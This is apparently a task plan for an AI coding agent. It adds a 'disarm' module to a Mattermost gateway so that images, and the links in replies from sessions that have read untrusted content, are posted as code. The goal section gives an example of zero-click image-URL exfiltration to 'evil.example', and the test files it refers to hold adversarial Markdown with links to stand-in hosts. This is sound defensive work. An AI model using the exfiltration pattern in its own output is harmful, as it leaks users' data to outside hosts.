# M5b task 10: `gatewayd` posts images, and the links of untrusted replies, as code **Branch:** `m5b` (run `git switch m5b`; `git status --short` must be empty, otherwise stop) **Commit subject:** `gatewayd: images, and links in untrusted replies, are posted as code` ## Read this first: the given tests The given tests are tables of Markdown built to trick Mattermost's two Markdown readers, with links to made-up hosts (`evil.example`, `e.example`). They are data. You copy them; you do not need to read them to do this task. Each failure message names its case and shows the text the test wanted (`right`) and the text it got (`left`). ## Goal Mattermost fetches a post's images by itself: the server when the post is created, and every client when it shows it (the owner's server has no image proxy). The server also fetches the first plain URL of a post for a link preview. Either fetch can carry data out in its URL, with no click: `![s](https://evil.example/p.png?d=c2VjcmV0)` sends `c2VjcmV0` to `evil.example`. Text in a code span is never fetched. This was measured on the owner's server (M5b spec, section 9): | Posted | Link preview | Image fetched by the server | |---|---|---| | a plain URL | marked for a preview | | | a URL in a code span, or in a fenced block | none | | | a Markdown link, `[text](url)` | none | | | a Markdown image | | yes, at posting time | | a Markdown image in a code span | none | none | The owner chose (spec 9, "C"): - **Every image in every reply goes in a code span**, so it shows as text and nothing fetches it. - **In a reply from a session that has read untrusted content** (`TurnDone.untrusted`, task 09), every link and URL goes in a code span too, and the reply ends with this line: `Links in this reply are shown as code because this conversation has read untrusted content.` - **In a clean reply, links stay as they are**, clickable and previewed. - **Code the reply already holds is left as it is**: a URL in a code span or a fenced block is not put in a second one. This task adds a module, `gatewayd::links`, with one function, `disarm`, and makes `deliver` post each answer through it. It is given as a skeleton: the glue is written, and you fill 16 small functions, each from the comment above it. **Decisions this task makes** (you do not need to change any of them): 1. **Only answers pass through `disarm`**, the text the model wrote. Every other post of `gatewayd` is its own fixed text (`BUSY`, `LOOP_DOWN`, `INTERRUPTED`, the approval notices), or shows the model's text in code already (an approval's arguments are in a fenced block made by `approvals::text::fence`, its tool and grant in spans made by `approvals::text::code`), or is `loopd`'s own error text (`error_text`). 2. **The notice only when a link or URL was put in a code span.** An image alone does not bring it: images go in code spans in every reply, and the notice speaks of links. Nor does a reply whose links were all in code already. So `disarm` says, in `Disarmed.links`, whether it put a link in a code span, and a reply without one reads as the model wrote it. 3. **Disarm, split, disarm each part again.** `split_answer` cuts a long answer into posts of at most `MAX_POST` characters. Disarming first means the parts are cut from the text as it will be posted. But each post is rendered on its own: a cut inside a fenced block leaves the rest of the block as prose in the next post, where an image would be live. So each part is disarmed again. The second pass changes nothing else: the given tests check that `disarm` of its own output is that output. The notice goes once, after an empty line, at the end of the last post. ### Two readers, and why the rules are many Two programs read a post's Markdown. The server (Go) follows CommonMark; it finds the images it fetches and the URL it previews. The clients (web and desktop) render the post with a fork of the JavaScript library marked (`mattermost/marked`, commit `c211e4c`), whose rules differ from CommonMark in places: an unclosed fence is code only at times; `\r` ends a line; emphasis (`**`), an HTML tag, inline LaTeX (`$…$`), a link, an autolink or a URL can take a backtick that CommonMark would read as the start of a code span. A code span `disarm` trusts must be code to both. So `disarm` leaves text alone only where both readers see code, and treats everything else as prose: an image in it goes in a code span, even if one reader would have shown it as code already. The worst that does is show a few backticks; it never leaves an image live. Each rule is one small function, and each has cases in the given tests: | Rule | Function | Tests | |---|---|---| | A fenced block is code only if both read it so: opened by 3 or more backticks or `~` after at most 3 spaces, with no backtick, `~` or `\|` after them; closed by a later line; no line between indented less than the opener; not continuing a list item or quote; no line before it starting with an HTML tag | `opener`, `closes`, `fence_end`, `nested_start`, `html_start` (and `disarm`, given) | `links_marked`: fences | | A line ends at `\n`, `\r`, `\r\n` or U+2424; an empty line ends a paragraph, a line of spaces does not | `lines` and `Out::prose` (given) | `links_marked`: lines | | A code span is code only if both read it so: its closing run on the same line, no `\|` inside, no backtick run whose length is a hazard, nothing that could close an emphasis, tag or LaTeX opened before it | `span_len`, `Seen::plain` | `links_marked`: spans, steals | | A backslash escapes the next character if marked would | `escape_len` | `links`: images | | Images: `![alt](url)`, with a size or title, `![alt][ref]`, `![alt][]`, `![ref]`, and a `![` with no `]` | `construct_len`, `bracket_end`, `paren_end` | `links`: images | | Links (untrusted): `[text](url)`, `[text][ref]`, autolinks `<…>`, definitions `[ref]: url`, URLs with a scheme, `www.`, or a domain and a `/` | `construct_len`, `autolink_len`, `definition`, `url_len` (and `url_start`, given) | `links`: links | | A new code span splits at line ends, `\|`, backticks, and closers seen before it; its runs are longer than any in the reply; it never touches a backtick, a backslash or a URL | `Out::wrap`, `Out::code` | `links`: ticks, images | ## Every place the answer is posted | Place | What happens there | |---|---| | `crates/gatewayd/src/deliver.rs`, `one_turn` | reads `TurnDone.untrusted` into `Outcome::Answer` (edit D3) | | `crates/gatewayd/src/deliver.rs`, `deliver` | posts `answer_posts` instead of `split_answer` (edit D5) | | `crates/gatewayd/src/serve/handle.rs`, `start` | calls `deliver`; no change | | `Outcome::Answer` anywhere else | nowhere: no other file names it | ## Files - Copy, from `docs/plans/M5b/files/` (the same path under it): - the skeletons `crates/gatewayd/src/links/mod.rs` (you fill 7 functions) and `crates/gatewayd/src/links/inline.rs` (you fill 9) - tests: `crates/gatewayd/tests/links.rs`, `crates/gatewayd/tests/links_marked.rs`, `crates/gatewayd/tests/deliver_links.rs` - Modify: `crates/gatewayd/src/lib.rs` (edit L1), `crates/gatewayd/src/deliver.rs` (edits D1 to D5), `docs/implementer-log.md`. - Do not touch: any other source file, any `Cargo.toml`, the tests in `crates/gatewayd/tests/support/`, and in the skeletons anything but the 16 `todo!()` bodies. ## Facts you need - **Offsets are bytes.** Every offset and length in the module is in bytes of UTF-8, and every slice is taken with `str::get` (`text.get(a..b)`), which gives `None` instead of panicking. Never write `text[a..b]`. The characters the rules look for (backticks, brackets, `<`, `|`, `\`, `$`, spaces) are all one byte, so the offset right after one of them is always a character boundary; for any other character use `c.len_utf8()`. - **The skeleton's given code**, which you call and must not change: | Name | What it is | |---|---| | `BREAKS` | `[char; 3]`: `'\n'`, `'\r'`, `'\u{2424}'`; `text.contains(BREAKS)`, `BREAKS.contains(&c)` | | `content(line)` | `fn content(line: &str) -> &str`: the line without its line end | | `runs(text)` | `fn runs(text: &str) -> Vec<(usize, usize)>`: each backtick run as (byte offset, length) | | `Out` | `text: String` (what is written so far), `ticks: usize`, `links: bool` | | `Seen` | `hazards: Vec` (run lengths), `closers: Vec` | | `closing(text, run)` | `fn closing(text: &str, run: usize) -> Option`: offset of the first run of exactly `run` backticks | | `window(text)` | `fn window(text: &str) -> &str`: at most the first `WINDOW` (2048) characters | | `reference_end(text)` | `fn reference_end(text: &str) -> Option`: `text` starts with `[`; offset of the `]` closing it, or `None` | | `ESCAPABLE`, `TRAILING` | `&str` of the characters marked escapes; `[char; 11]` a URL loses at its end | - **The functions you fill, in the order to fill them**, with who calls them: | Function | Signature | Called by | |---|---|---| | `html_start` | `fn html_start(line: &str) -> bool` | `disarm` | | `nested_start` | `fn nested_start(line: &str) -> bool` | `disarm` | | `opener` | `fn opener(line: &str) -> Option<(usize, &str)>` | `fence_end` | | `closes` | `fn closes(line: &str, run: &str) -> bool` | `fence_end` | | `fence_end` | `fn fence_end(lines: &[&str], at: usize) -> Option` | `disarm` | | `Out::code` | `fn code(&mut self, piece: &str)` | `Out::wrap` | | `Out::wrap` | `fn wrap(&mut self, construct: &str, after: &str, closers: &[char])` | `Out::image` | | `Seen::plain` | `fn plain(&mut self, c: char)` | `Out::paragraph`, `Out::construct` | | `escape_len` | `fn escape_len(rest: &str) -> Option` | `Out::token` | | `paren_end` | `fn paren_end(text: &str) -> Option` | `construct_len` | | `bracket_end` | `fn bracket_end(text: &str, code: bool) -> Option` | `construct_len` | | `construct_len` | `fn construct_len(text: &str, bare: bool) -> Option` | `Out::token`, `Out::bracket` | | `span_len` | `fn span_len(rest: &str, seen: &Seen) -> Option` | `Out::backticks` | | `autolink_len` | `fn autolink_len(rest: &str) -> Option` | `Out::autolink` | | `definition` | `fn definition(rest: &str) -> bool` | `Out::token` | | `url_len` | `fn url_len(rest: &str, whole: bool) -> usize` | `Out::url` | - **The calls the bodies need**, all in the standard library or given: | Call | Signature, and what it gives | |---|---| | `str::get` | `text.get(a..)`, `text.get(..b)`, `text.get(a..b)` → `Option<&str>`; `None` off a character boundary or past the end | | `str::chars`, `char_indices` | `text.chars().next()` → `Option`; `text.char_indices()` yields `(byte offset, char)` | | `Iterator::take_while`, `count` | `rest.chars().take_while(\|&c\| c == '`').count()`: the length of the run `rest` starts with | | `Iterator::enumerate`, `skip`, `any`, `all` | `lines.iter().enumerate().skip(at + 1)`; `pairs.any(\|p\| …)`; `chars.all(\|c\| …)` | | `matches!` | `matches!(first, Some('>' \| '-' \| '*' \| '+' \| '0'..='9'))`: whether `first` fits the pattern | | `str::trim_start`, `trim`, `trim_start_matches`, `trim_end_matches` | `text.trim_start_matches(' ')`, `.trim_start_matches([' ', '\u{a0}'])`, `.trim_start_matches(\|c: char\| c.is_whitespace() \|\| ">-*+.)".contains(c))`, `.trim_end_matches(TRAILING)` | | `str::strip_prefix` | `rest.strip_prefix(run)`, `.strip_prefix('[')` → `Option<&str>`, the text after it | | `str::find`, `contains`, `starts_with`, `ends_with` | `rest.find('>')`, `rest.find(BREAKS)` → `Option`; `text.contains(['`', '~', '\|'])`, `content.contains(seen.closers.as_slice())`; `self.text.ends_with(\|c: char\| !c.is_whitespace())` | | `str::chars().count()` | the number of characters (not bytes) | | `str::eq_ignore_ascii_case` | `w.eq_ignore_ascii_case("www")` | | `str::repeat`, `String::push`, `push_str` | `"`".repeat(self.ticks)`; `self.text.push('\\')`; `self.text.push_str(piece)` | | `char` tests | `c.is_whitespace()`, `c.is_ascii_alphabetic()`, `c.is_ascii_digit()`, `c.len_utf8()` | | `Option` | `.filter(\|c\| …)`, `.and_then(f)`, `.or_else(\|\| …)`, `.is_some_and(f)`, `.is_none_or(f)`, `.unwrap_or(x)`, `.unwrap_or_default()`; `bool::then_some(x)` → `Some(x)` if true | | `usize::saturating_sub` | `depth.saturating_sub(1)`: never below 0 | | `Vec::contains`, `push` | `self.closers.contains(&c)`, `seen.hazards.contains(&run)` | - **The skeleton compiles as given**, with warnings for the unfilled functions: unused variables; functions, a method and constants never used (`closing`, `reference_end`, `Out::code`, `ESCAPABLE`, `TRAILING` and the like); and the field `ticks` never read. They go as you fill the bodies. - Until every body is filled, any call to `disarm` panics with `not yet implemented`. From step 3 to step 5, run only the three new test files: the other `gatewayd` tests now post answers through `disarm` too. ## The edits, exactly Nothing else in these files changes. Each quoted "before" block occurs exactly once in its file. ### `crates/gatewayd/src/lib.rs` **L1.** The line ```rust pub mod http; ``` becomes ```rust pub mod http; pub mod links; ``` ### `crates/gatewayd/src/deliver.rs` **D1.** The lines ```rust use crate::mm::MmError; use crate::mm::rest::Client; ``` become ```rust use crate::links::{NOTICE, disarm}; use crate::mm::MmError; use crate::mm::rest::Client; ``` **D2.** The line ```rust Answer(String), ``` becomes ```rust /// The reply, and whether its session has read untrusted content. Answer { content: String, untrusted: bool, }, ``` **D3.** In `one_turn`, the lines ```rust // 3. `read_frame` until the end: (id 1, not final, TurnEvent) -> on_event; (1, final, TurnDone) // -> Answer with its content; (1, final, Error) -> Refused; a read error -> LoopDown("the // turn ended early: "); anything else -> LoopDown("an unexpected frame"). ``` become ```rust // 3. `read_frame` until the end: (id 1, not final, TurnEvent) -> on_event; (1, final, TurnDone) // -> Answer with its content and untrusted; (1, final, Error) -> Refused; a read error -> // LoopDown("the turn ended early: "); anything else -> LoopDown("an unexpected frame"). ``` and further down in `one_turn`, the line ```rust (true, Message::TurnDone(d)) => return Outcome::Answer(d.content.clone()), ``` becomes ```rust (true, Message::TurnDone(d)) => { return Outcome::Answer { content: d.content.clone(), untrusted: d.untrusted, }; } ``` **D4.** The lines ```rust /// Send one turn and read it to its end; `on_event` sees every event. ``` become ```rust /// The posts of a reply: disarmed (M5b spec, section 9), then cut by `split_answer`. Each part is /// disarmed again: a cut inside a fenced block leaves the rest of it as prose in the next post. /// The last post ends with `NOTICE` if either pass put a link in a code span. pub fn answer_posts(content: &str, untrusted: bool) -> Vec { let whole = disarm(content, untrusted); let mut links = whole.links; let mut posts = Vec::new(); for part in split_answer(&whole.text) { let again = disarm(&part, untrusted); links = links || again.links; posts.push(again.text); } if links && let Some(last) = posts.last_mut() { last.push_str("\n\n"); last.push_str(NOTICE); } posts } /// Send one turn and read it to its end; `on_event` sees every event. ``` **D5.** In `deliver`, the line ```rust // Answer -> every part of `split_answer`, in order; Refused -> `error_text`; ``` becomes ```rust // Answer -> every post of `answer_posts`, in order; Refused -> `error_text`; ``` and the lines ```rust Outcome::Answer(content) => { for part in split_answer(&content) { ``` become ```rust Outcome::Answer { content, untrusted } => { for part in answer_posts(&content, untrusted) { ``` ## Steps - [ ] **1. Copy the given tests.** From the repository root, three commands: ```sh cp docs/plans/M5b/files/crates/gatewayd/tests/links.rs crates/gatewayd/tests/ cp docs/plans/M5b/files/crates/gatewayd/tests/links_marked.rs crates/gatewayd/tests/ cp docs/plans/M5b/files/crates/gatewayd/tests/deliver_links.rs crates/gatewayd/tests/ ``` - [ ] **2. See them fail.** `cargo test -p gatewayd --test links --test links_marked --test deliver_links --no-fail-fast`: none compiles. Every error is `E0432`, an unresolved import: `gatewayd::links` in all three, and `answer_posts` in `deliver_links` as well. - [ ] **3. The module and the edits.** Copy the two skeletons, then make edits L1 and D1 to D5: ```sh mkdir -p crates/gatewayd/src/links cp docs/plans/M5b/files/crates/gatewayd/src/links/mod.rs crates/gatewayd/src/links/ cp docs/plans/M5b/files/crates/gatewayd/src/links/inline.rs crates/gatewayd/src/links/ ``` `cargo check -p gatewayd`: no error, only the warnings "Facts you need" describes. The command of step 2 now compiles; `links` has 6 failing tests and 1 passing (`the_notice_is_one_line`), `links_marked` 7 failing, `deliver_links` 9 failing, and every failure is `not yet implemented`. - [ ] **4. Fill the seven functions of `mod.rs`, one at a time, in this order**, each from its comment, and run `cargo check -p gatewayd` after each: `html_start`, `nested_start`, `opener`, `closes`, `fence_end`, `Out::code`, `Out::wrap`. - [ ] **5. Fill the nine functions of `inline.rs`, one at a time, in this order**, each from its comment, and run `cargo check -p gatewayd` after each: `Seen::plain`, `escape_len`, `paren_end`, `bracket_end`, `construct_len`, `span_len`, `autolink_len`, `definition`, `url_len`. Change nothing else in either file. - [ ] **6. See them pass.** The command of step 2: `links` 7 passed, `links_marked` 7 passed, `deliver_links` 9 passed. Then `cargo test -p gatewayd`: every suite passes. - [ ] **7. Run the gate.** `cargo fmt --all`, then `make gate`, with a shell timeout of 600000 ms. Expected last line: `gate: ok`, with 1081 tests: 1058 before this task, plus 7 in `links.rs`, 7 in `links_marked.rs` and 9 in `deliver_links.rs`. - [ ] **8. Log and commit.** `git status --short` lists `crates/gatewayd/src/lib.rs` and `crates/gatewayd/src/deliver.rs` as modified, and `crates/gatewayd/src/links/` and the three test files as new, besides your log. Stage with `git add crates/gatewayd docs/implementer-log.md Cargo.lock`, then commit as `AGENTS.md` says. `Cargo.lock` does not change in this task; the `git add` is harmless. ## Done when - `make gate` prints `gate: ok` with 1081 tests. - `git diff HEAD~1 --stat` lists only `crates/gatewayd/src/lib.rs`, `crates/gatewayd/src/deliver.rs`, the two files under `crates/gatewayd/src/links/`, the three new test files and `docs/implementer-log.md`. ## Stop and report if - A "before" block of L1 or D1 to D5 is not in its file exactly as shown, or is there more than once. - Step 2 or 3 shows a different result: other errors, other failing tests, or other counts. - `cargo check -p gatewayd` reports an error after a body you filled, and the comment does not tell you how to fix it. Quote the error and the comment, and stop. - A comment in a skeleton does not fit the code under it, or two comments contradict each other. Quote them and stop. - After step 6 a test fails although each function follows its comment. Do not change a test, a table or the given code of the skeletons: stop, and give the failing tests' names and their messages. - The fix seems to need a change anywhere else: in `bxcore`, another file of `gatewayd`, or a `Cargo.toml`. It does not; stop and say why you think so. - A test outside `gatewayd` fails in the gate: check once whether it fails without your change, then stop and report both results. - The gate passes with a count other than 1081.